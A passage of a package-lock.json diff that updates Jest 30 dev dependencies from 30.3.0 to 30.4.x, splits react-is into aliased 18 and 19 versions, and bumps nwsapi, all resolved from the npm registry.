"integrity": "sha512-vjQb1sACEiv13DKJMDToJpzVW0joCsIQrmbg0fi7CyOOt+g9jTuQl2A216pWRBYhOVt53XbL/2LbMKg1BECWOw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", @@ -13101,9 +13845,9 @@ } }, "node_modules/jest-regex-util": { - "version": "30.0.1", - "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-30.0.1.tgz", - "integrity": "sha512-jHEQgBXAgc+Gh4g0p3bCevgRCVRkB4VB70zhoAE48gxeSr1hfUOsM/C2WoJgVL7Eyg//hudYENbm3Ne+/dRVVA==", + "version": "30.4.0", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-30.4.0.tgz", + "integrity": "sha512-mWlvLviKIgIQ8VCuM1xRdD0TWp3zlzionlmDBjuXVBs+VkmXq6FgW9T4Emr7oGz/Rk6feDCGyiugolcQEyp3mg==", "dev": true, "license": "MIT", "engines": { @@ -13111,18 +13855,18 @@ } }, "node_modules/jest-resolve": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-30.3.0.tgz", - "integrity": "sha512-NRtTAHQlpd15F9rUR36jqwelbrDV/dY4vzNte3S2kxCKUJRYNd5/6nTSbYiak1VX5g8IoFF23Uj5TURkUW8O5g==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-30.4.1.tgz", + "integrity": "sha512-Zry8Yq/yJcNAZ7dJ5F2heic8AheXvbFZ7XI5V+h28nrYZ7Qoyy4dItq8OodjnYD270mvX+ZudmrNV9cysqhW5Q==", "dev": true, "license": "MIT", "dependencies": { "chalk": "^4.1.2", "graceful-fs": "^4.2.11", - "jest-haste-map": "30.3.0", + "jest-haste-map": "30.4.1", "jest-pnp-resolver": "^1.2.3", - "jest-util": "30.3.0", - "jest-validate": "30.3.0", + "jest-util": "30.4.1", + "jest-validate": "30.4.1", "slash": "^3.0.0", "unrs-resolver": "^1.7.11" }, @@ -13131,27 +13875,27 @@ } }, "node_modules/jest-resolve-dependencies": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-30.3.0.tgz", - "integrity": "sha512-9ev8s3YN6Hsyz9LV75XUwkCVFlwPbaFn6Wp75qnI0wzAINYWY8Fb3+6y59Rwd3QaS3kKXffHXsZMziMavfz/nw==", + "version": "30.4.2", + "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-30.4.2.tgz", + "integrity": "sha512-gDiVh1I+GxYzz9oXlyw+1wv6VOYX1WYxMOfjsA3iGKePV2oxmbHhwxfkALxNxYy1ciw6APWwkW2zZONwP97aEQ==", "dev": true, "license": "MIT", "dependencies": { - "jest-regex-util": "30.0.1", - "jest-snapshot": "30.3.0" + "jest-regex-util": "30.4.0", + "jest-snapshot": "30.4.1" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, "node_modules/jest-resolve/node_modules/jest-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.3.0.tgz", - "integrity": "sha512-/jZDa00a3Sz7rdyu55NLrQCIrbyIkbBxareejQI315f/i8HjYN+ZWsDLLpoQSiUIEIyZF/R8fDg3BmB8AtHttg==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.4.1.tgz", + "integrity": "sha512-vjQb1sACEiv13DKJMDToJpzVW0joCsIQrmbg0fi7CyOOt+g9jTuQl2A216pWRBYhOVt53XbL/2LbMKg1BECWOw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", @@ -13163,32 +13907,32 @@ } }, "node_modules/jest-runner": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-30.3.0.tgz", - "integrity": "sha512-gDv6C9LGKWDPLia9TSzZwf4h3kMQCqyTpq+95PODnTRDO0g9os48XIYYkS6D236vjpBir2fF63YmJFtqkS5Duw==", + "version": "30.4.2", + "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-30.4.2.tgz", + "integrity": "sha512-2dw0PslVYXxffXGpLo+Ejad+KcI1Qkjn7f4X4619gf21oCUmL+SPfjqIa/losUem3yEOvfNZe/F1HWUcNpODcg==", "dev": true, "license": "MIT", "dependencies": { - "@jest/console": "30.3.0", - "@jest/environment": "30.3.0", - "@jest/test-result": "30.3.0", - "@jest/transform": "30.3.0", - "@jest/types": "30.3.0", + "@jest/console": "30.4.1", + "@jest/environment": "30.4.1", + "@jest/test-result": "30.4.1", + "@jest/transform": "30.4.1", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "emittery": "^0.13.1", "exit-x": "^0.2.2", "graceful-fs": "^4.2.11", - "jest-docblock": "30.2.0", - "jest-environment-node": "30.3.0", - "jest-haste-map": "30.3.0", - "jest-leak-detector": "30.3.0", - "jest-message-util": "30.3.0", - "jest-resolve": "30.3.0", - "jest-runtime": "30.3.0", - "jest-util": "30.3.0", - "jest-watcher": "30.3.0", - "jest-worker": "30.3.0", + "jest-docblock": "30.4.0", + "jest-environment-node": "30.4.1", + "jest-haste-map": "30.4.1", + "jest-leak-detector": "30.4.1", + "jest-message-util": "30.4.1", + "jest-resolve": "30.4.1", + "jest-runtime": "30.4.2", + "jest-util": "30.4.1", + "jest-watcher": "30.4.1", + "jest-worker": "30.4.1", "p-limit": "^3.1.0", "source-map-support": "0.5.13" }, @@ -13210,19 +13954,20 @@ } }, "node_modules/jest-runner/node_modules/jest-message-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.3.0.tgz", - "integrity": "sha512-Z/j4Bo+4ySJ+JPJN3b2Qbl9hDq3VrXmnjjGEWD/x0BCXeOXPTV1iZYYzl2X8c1MaCOL+ewMyNBcm88sboE6YWw==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.4.1.tgz", + "integrity": "sha512-kwCKIvq0MCW1HzLoGola9Te6JUdzgV0loyKJ3Qghrkz9i5/RRIHsL95BMQc2HBBhlBKC4j22K9p11TGHH8RBpQ==", "dev": true, "license": "MIT", "dependencies": { "@babel/code-frame": "^7.27.1", - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/stack-utils": "^2.0.3", "chalk": "^4.1.2", "graceful-fs": "^4.2.11", + "jest-util": "30.4.1", "picomatch": "^4.0.3", - "pretty-format": "30.3.0", + "pretty-format": "30.4.1", "slash": "^3.0.0", "stack-utils": "^2.0.6" }, @@ -13231,13 +13976,13 @@ } }, "node_modules/jest-runner/node_modules/jest-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.3.0.tgz", - "integrity": "sha512-/jZDa00a3Sz7rdyu55NLrQCIrbyIkbBxareejQI315f/i8HjYN+ZWsDLLpoQSiUIEIyZF/R8fDg3BmB8AtHttg==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.4.1.tgz", + "integrity": "sha512-vjQb1sACEiv13DKJMDToJpzVW0joCsIQrmbg0fi7CyOOt+g9jTuQl2A216pWRBYhOVt53XbL/2LbMKg1BECWOw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", @@ -13249,54 +13994,48 @@ } }, "node_modules/jest-runner/node_modules/pretty-format": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.3.0.tgz", - "integrity": "sha512-oG4T3wCbfeuvljnyAzhBvpN45E8iOTXCU/TD3zXW80HA3dQ4ahdqMkWGiPWZvjpQwlbyHrPTWUAqUzGzv4l1JQ==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.4.1.tgz", + "integrity": "sha512-K6KiKMHTL4jjX4u3Kir2EW07nRfcqVTXIImx50wbjHQTcZPgg+gjVeNTIT3l3L1Rd4UefxfogquC9J37SoFyyw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/schemas": "30.0.5", + "@jest/schemas": "30.4.1", "ansi-styles": "^5.2.0", - "react-is": "^18.3.1" + "react-is-18": "npm:react-is@^18.3.1", + "react-is-19": "npm:react-is@^19.2.5" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/jest-runner/node_modules/react-is": { - "version": "18.3.1", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", - "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", - "dev": true, - "license": "MIT" - }, "node_modules/jest-runtime": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-30.3.0.tgz", - "integrity": "sha512-CgC+hIBJbuh78HEffkhNKcbXAytQViplcl8xupqeIWyKQF50kCQA8J7GeJCkjisC6hpnC9Muf8jV5RdtdFbGng==", + "version": "30.4.2", + "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-30.4.2.tgz", + "integrity": "sha512-3/5e8iPz2k/VLqlr8DgTftYyLUv8Su3FkCAO2/Od81UsUTpSxOrS6O5x5KkoQwyUjmpYyDJKeyAvg2T2nvpNkQ==", "dev": true, "license": "MIT", "dependencies": { - "@jest/environment": "30.3.0", - "@jest/fake-timers": "30.3.0", - "@jest/globals": "30.3.0", + "@jest/environment": "30.4.1", + "@jest/fake-timers": "30.4.1", + "@jest/globals": "30.4.1", "@jest/source-map": "30.0.1", - "@jest/test-result": "30.3.0", - "@jest/transform": "30.3.0", - "@jest/types": "30.3.0", + "@jest/test-result": "30.4.1", + "@jest/transform": "30.4.1", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "cjs-module-lexer": "^2.1.0", "collect-v8-coverage": "^1.0.2", "glob": "^10.5.0", "graceful-fs": "^4.2.11", - "jest-haste-map": "30.3.0", - "jest-message-util": "30.3.0", - "jest-mock": "30.3.0", - "jest-regex-util": "30.0.1", - "jest-resolve": "30.3.0", - "jest-snapshot": "30.3.0", - "jest-util": "30.3.0", + "jest-haste-map": "30.4.1", + "jest-message-util": "30.4.1", + "jest-mock": "30.4.1", + "jest-regex-util": "30.4.0", + "jest-resolve": "30.4.1", + "jest-snapshot": "30.4.1", + "jest-util": "30.4.1", "slash": "^3.0.0", "strip-bom": "^4.0.0" }, @@ -13318,19 +14057,20 @@ } }, "node_modules/jest-runtime/node_modules/jest-message-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.3.0.tgz", - "integrity": "sha512-Z/j4Bo+4ySJ+JPJN3b2Qbl9hDq3VrXmnjjGEWD/x0BCXeOXPTV1iZYYzl2X8c1MaCOL+ewMyNBcm88sboE6YWw==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.4.1.tgz", + "integrity": "sha512-kwCKIvq0MCW1HzLoGola9Te6JUdzgV0loyKJ3Qghrkz9i5/RRIHsL95BMQc2HBBhlBKC4j22K9p11TGHH8RBpQ==", "dev": true, "license": "MIT", "dependencies": { "@babel/code-frame": "^7.27.1", - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/stack-utils": "^2.0.3", "chalk": "^4.1.2", "graceful-fs": "^4.2.11", + "jest-util": "30.4.1", "picomatch": "^4.0.3", - "pretty-format": "30.3.0", + "pretty-format": "30.4.1", "slash": "^3.0.0", "stack-utils": "^2.0.6" }, @@ -13339,13 +14079,13 @@ } }, "node_modules/jest-runtime/node_modules/jest-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.3.0.tgz", - "integrity": "sha512-/jZDa00a3Sz7rdyu55NLrQCIrbyIkbBxareejQI315f/i8HjYN+ZWsDLLpoQSiUIEIyZF/R8fDg3BmB8AtHttg==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.4.1.tgz", + "integrity": "sha512-vjQb1sACEiv13DKJMDToJpzVW0joCsIQrmbg0fi7CyOOt+g9jTuQl2A216pWRBYhOVt53XbL/2LbMKg1BECWOw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", @@ -13357,31 +14097,25 @@ } }, "node_modules/jest-runtime/node_modules/pretty-format": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.3.0.tgz", - "integrity": "sha512-oG4T3wCbfeuvljnyAzhBvpN45E8iOTXCU/TD3zXW80HA3dQ4ahdqMkWGiPWZvjpQwlbyHrPTWUAqUzGzv4l1JQ==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.4.1.tgz", + "integrity": "sha512-K6KiKMHTL4jjX4u3Kir2EW07nRfcqVTXIImx50wbjHQTcZPgg+gjVeNTIT3l3L1Rd4UefxfogquC9J37SoFyyw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/schemas": "30.0.5", + "@jest/schemas": "30.4.1", "ansi-styles": "^5.2.0", - "react-is": "^18.3.1" + "react-is-18": "npm:react-is@^18.3.1", + "react-is-19": "npm:react-is@^19.2.5" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/jest-runtime/node_modules/react-is": { - "version": "18.3.1", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", - "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", - "dev": true, - "license": "MIT" - }, "node_modules/jest-snapshot": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-30.3.0.tgz", - "integrity": "sha512-f14c7atpb4O2DeNhwcvS810Y63wEn8O1HqK/luJ4F6M4NjvxmAKQwBUWjbExUtMxWJQ0wVgmCKymeJK6NZMnfQ==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-30.4.1.tgz", + "integrity": "sha512-tEOkkfOMppUyeiHwjZswOQ3lcnoTnws/q5FnGIaeIh/jmoU0ZlgMYRR8sTlTj+nNGCoJ0RDq6SfxGxCsyMTPmw==", "dev": true, "license": "MIT", "dependencies": { @@ -13390,20 +14124,20 @@ "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-syntax-typescript": "^7.27.1", "@babel/types": "^7.27.3", - "@jest/expect-utils": "30.3.0", + "@jest/expect-utils": "30.4.1", "@jest/get-type": "30.1.0", - "@jest/snapshot-utils": "30.3.0", - "@jest/transform": "30.3.0", - "@jest/types": "30.3.0", + "@jest/snapshot-utils": "30.4.1", + "@jest/transform": "30.4.1", + "@jest/types": "30.4.1", "babel-preset-current-node-syntax": "^1.2.0", "chalk": "^4.1.2", - "expect": "30.3.0", + "expect": "30.4.1", "graceful-fs": "^4.2.11", - "jest-diff": "30.3.0", - "jest-matcher-utils": "30.3.0", - "jest-message-util": "30.3.0", - "jest-util": "30.3.0", - "pretty-format": "30.3.0", + "jest-diff": "30.4.1", + "jest-matcher-utils": "30.4.1", + "jest-message-util": "30.4.1", + "jest-util": "30.4.1", + "pretty-format": "30.4.1", "semver": "^7.7.2", "synckit": "^0.11.8" }, @@ -13412,9 +14146,9 @@ } }, "node_modules/jest-snapshot/node_modules/@jest/expect-utils": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-30.3.0.tgz", - "integrity": "sha512-j0+W5iQQ8hBh7tHZkTQv3q2Fh/M7Je72cIsYqC4OaktgtO7v1So9UTjp6uPBHIaB6beoF/RRsCgMJKvti0wADA==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-30.4.1.tgz", + "integrity": "sha512-ZBn5CglH8fBsQsvs4VWNzD4aWfUYks+IdOOQU3MEK71ol/BcVm+P+rtb1KpiFBpSWSCE27uOahyyf1vfqOVbcQ==", "dev": true, "license": "MIT", "dependencies": { @@ -13438,69 +14172,70 @@ } }, "node_modules/jest-snapshot/node_modules/expect": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/expect/-/expect-30.3.0.tgz", - "integrity": "sha512-1zQrciTiQfRdo7qJM1uG4navm8DayFa2TgCSRlzUyNkhcJ6XUZF3hjnpkyr3VhAqPH7i/9GkG7Tv5abz6fqz0Q==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/expect/-/expect-30.4.1.tgz", + "integrity": "sha512-PMARsyh/JtqC20HoGqlFcIlQAyqUtW4PlI1rup1uhYJtKuwAjbvWi3GQMAn+STdHum/dk8xrKfUM1+5SAwpolA==", "dev": true, "license": "MIT", "dependencies": { - "@jest/expect-utils": "30.3.0", + "@jest/expect-utils": "30.4.1", "@jest/get-type": "30.1.0", - "jest-matcher-utils": "30.3.0", - "jest-message-util": "30.3.0", - "jest-mock": "30.3.0", - "jest-util": "30.3.0" + "jest-matcher-utils": "30.4.1", + "jest-message-util": "30.4.1", + "jest-mock": "30.4.1", + "jest-util": "30.4.1" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, "node_modules/jest-snapshot/node_modules/jest-diff": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-30.3.0.tgz", - "integrity": "sha512-n3q4PDQjS4LrKxfWB3Z5KNk1XjXtZTBwQp71OP0Jo03Z6V60x++K5L8k6ZrW8MY8pOFylZvHM0zsjS1RqlHJZQ==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-30.4.1.tgz", + "integrity": "sha512-CRpFK0RtLriVDGcPPAnR6HMVI8bSR2jnUIgralhauzYQZIb4RH9AtEInTuQr65LmmGggGcRT6HIASxwqsVsmlA==", "dev": true, "license": "MIT", "dependencies": { - "@jest/diff-sequences": "30.3.0", + "@jest/diff-sequences": "30.4.0", "@jest/get-type": "30.1.0", "chalk": "^4.1.2", - "pretty-format": "30.3.0" + "pretty-format": "30.4.1" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, "node_modules/jest-snapshot/node_modules/jest-matcher-utils": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-30.3.0.tgz", - "integrity": "sha512-HEtc9uFQgaUHkC7nLSlQL3Tph4Pjxt/yiPvkIrrDCt9jhoLIgxaubo1G+CFOnmHYMxHwwdaSN7mkIFs6ZK8OhA==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-30.4.1.tgz", + "integrity": "sha512-zvYfX5CaeEkFrrLS9suWe9rvJrm9J1Iv3ua8kIBv9GEPzcnsfBf0bob37la7s67fs0nlBC3EuvkOLnXQKxtx4A==", "dev": true, "license": "MIT", "dependencies": { "@jest/get-type": "30.1.0", "chalk": "^4.1.2", - "jest-diff": "30.3.0", - "pretty-format": "30.3.0" + "jest-diff": "30.4.1", + "pretty-format": "30.4.1" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, "node_modules/jest-snapshot/node_modules/jest-message-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.3.0.tgz", - "integrity": "sha512-Z/j4Bo+4ySJ+JPJN3b2Qbl9hDq3VrXmnjjGEWD/x0BCXeOXPTV1iZYYzl2X8c1MaCOL+ewMyNBcm88sboE6YWw==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.4.1.tgz", + "integrity": "sha512-kwCKIvq0MCW1HzLoGola9Te6JUdzgV0loyKJ3Qghrkz9i5/RRIHsL95BMQc2HBBhlBKC4j22K9p11TGHH8RBpQ==", "dev": true, "license": "MIT", "dependencies": { "@babel/code-frame": "^7.27.1", - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/stack-utils": "^2.0.3", "chalk": "^4.1.2", "graceful-fs": "^4.2.11", + "jest-util": "30.4.1", "picomatch": "^4.0.3", - "pretty-format": "30.3.0", + "pretty-format": "30.4.1", "slash": "^3.0.0", "stack-utils": "^2.0.6" }, @@ -13509,13 +14244,13 @@ } }, "node_modules/jest-snapshot/node_modules/jest-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.3.0.tgz", - "integrity": "sha512-/jZDa00a3Sz7rdyu55NLrQCIrbyIkbBxareejQI315f/i8HjYN+ZWsDLLpoQSiUIEIyZF/R8fDg3BmB8AtHttg==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.4.1.tgz", + "integrity": "sha512-vjQb1sACEiv13DKJMDToJpzVW0joCsIQrmbg0fi7CyOOt+g9jTuQl2A216pWRBYhOVt53XbL/2LbMKg1BECWOw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", @@ -13527,27 +14262,21 @@ } }, "node_modules/jest-snapshot/node_modules/pretty-format": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.3.0.tgz", - "integrity": "sha512-oG4T3wCbfeuvljnyAzhBvpN45E8iOTXCU/TD3zXW80HA3dQ4ahdqMkWGiPWZvjpQwlbyHrPTWUAqUzGzv4l1JQ==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.4.1.tgz", + "integrity": "sha512-K6KiKMHTL4jjX4u3Kir2EW07nRfcqVTXIImx50wbjHQTcZPgg+gjVeNTIT3l3L1Rd4UefxfogquC9J37SoFyyw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/schemas": "30.0.5", + "@jest/schemas": "30.4.1", "ansi-styles": "^5.2.0", - "react-is": "^18.3.1" + "react-is-18": "npm:react-is@^18.3.1", + "react-is-19": "npm:react-is@^19.2.5" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/jest-snapshot/node_modules/react-is": { - "version": "18.3.1", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", - "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", - "dev": true, - "license": "MIT" - }, "node_modules/jest-util": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-29.7.0.tgz", @@ -13621,18 +14350,18 @@ } }, "node_modules/jest-validate": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-30.3.0.tgz", - "integrity": "sha512-I/xzC8h5G+SHCb2P2gWkJYrNiTbeL47KvKeW5EzplkyxzBRBw1ssSHlI/jXec0ukH2q7x2zAWQm7015iusg62Q==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-30.4.1.tgz", + "integrity": "sha512-PDWi4SOwLnwqNDfHZjOcsEFyZ4fc/2W2gVL3DEoyqnB6jCQMLRtfBong8s6omIw3lI0HWOus12xfnFmQtjW3fw==", "dev": true, "license": "MIT", "dependencies": { "@jest/get-type": "30.1.0", - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "camelcase": "^6.3.0", "chalk": "^4.1.2", "leven": "^3.1.0", - "pretty-format": "30.3.0" + "pretty-format": "30.4.1" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" @@ -13665,41 +14394,35 @@ } }, "node_modules/jest-validate/node_modules/pretty-format": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.3.0.tgz", - "integrity": "sha512-oG4T3wCbfeuvljnyAzhBvpN45E8iOTXCU/TD3zXW80HA3dQ4ahdqMkWGiPWZvjpQwlbyHrPTWUAqUzGzv4l1JQ==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.4.1.tgz", + "integrity": "sha512-K6KiKMHTL4jjX4u3Kir2EW07nRfcqVTXIImx50wbjHQTcZPgg+gjVeNTIT3l3L1Rd4UefxfogquC9J37SoFyyw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/schemas": "30.0.5", + "@jest/schemas": "30.4.1", "ansi-styles": "^5.2.0", - "react-is": "^18.3.1" + "react-is-18": "npm:react-is@^18.3.1", + "react-is-19": "npm:react-is@^19.2.5" }, "engines": { "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/jest-validate/node_modules/react-is": { - "version": "18.3.1", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", - "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", - "dev": true, - "license": "MIT" - }, "node_modules/jest-watcher": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-30.3.0.tgz", - "integrity": "sha512-PJ1d9ThtTR8aMiBWUdcownq9mDdLXsQzJayTk4kmaBRHKvwNQn+ANveuhEBUyNI2hR1TVhvQ8D5kHubbzBHR/w==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-30.4.1.tgz", + "integrity": "sha512-/l9UonmvCwjHH7d2h3iAwIloLc1H0S8mJZ/LNK3i86hqwPAz8otUJjP9MfYtz9Tt77Su5FD2xGjZn8d31IZHlw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/test-result": "30.3.0", - "@jest/types": "30.3.0", + "@jest/test-result": "30.4.1", + "@jest/types": "30.4.1", "@types/node": "*", "ansi-escapes": "^4.3.2", "chalk": "^4.1.2", "emittery": "^0.13.1", - "jest-util": "30.3.0", + "jest-util": "30.4.1", "string-length": "^4.0.2" }, "engines": { @@ -13707,13 +14430,13 @@ } }, "node_modules/jest-watcher/node_modules/jest-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.3.0.tgz", - "integrity": "sha512-/jZDa00a3Sz7rdyu55NLrQCIrbyIkbBxareejQI315f/i8HjYN+ZWsDLLpoQSiUIEIyZF/R8fDg3BmB8AtHttg==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.4.1.tgz", + "integrity": "sha512-vjQb1sACEiv13DKJMDToJpzVW0joCsIQrmbg0fi7CyOOt+g9jTuQl2A216pWRBYhOVt53XbL/2LbMKg1BECWOw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", @@ -13725,15 +14448,15 @@ } }, "node_modules/jest-worker": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-30.3.0.tgz", - "integrity": "sha512-DrCKkaQwHexjRUFTmPzs7sHQe0TSj9nvDALKGdwmK5mW9v7j90BudWirKAJHt3QQ9Dhrg1F7DogPzhChppkJpQ==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-30.4.1.tgz", + "integrity": "sha512-SHynN/q/QD++iNyvMdy+WMmbCGk8jIsNcRxycXbWubSOhvo6T+j2afcfUSl+3hYsiBebOTo0cT7c2H7CXugu1g==", "dev": true, "license": "MIT", "dependencies": { "@types/node": "*", "@ungap/structured-clone": "^1.3.0", - "jest-util": "30.3.0", + "jest-util": "30.4.1", "merge-stream": "^2.0.0", "supports-color": "^8.1.1" }, @@ -13742,13 +14465,13 @@ } }, "node_modules/jest-worker/node_modules/jest-util": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.3.0.tgz", - "integrity": "sha512-/jZDa00a3Sz7rdyu55NLrQCIrbyIkbBxareejQI315f/i8HjYN+ZWsDLLpoQSiUIEIyZF/R8fDg3BmB8AtHttg==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.4.1.tgz", + "integrity": "sha512-vjQb1sACEiv13DKJMDToJpzVW0joCsIQrmbg0fi7CyOOt+g9jTuQl2A216pWRBYhOVt53XbL/2LbMKg1BECWOw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/types": "30.3.0", + "@jest/types": "30.4.1", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", @@ -15623,9 +16346,9 @@ } }, "node_modules/nwsapi": { - "version": "2.2.23", - "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.23.tgz", - "integrity": "sha512-7wfH4sLbt4M0gCDzGE6vzQBo0bfTKjU7Sfpqy/7gs1qBfYz2vEJH6vXcBKpO3+6Yu1telwd0t9HpyOoLEQQbIQ==", + "version": "2.2.24", + "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.24.tgz", + "integrity": 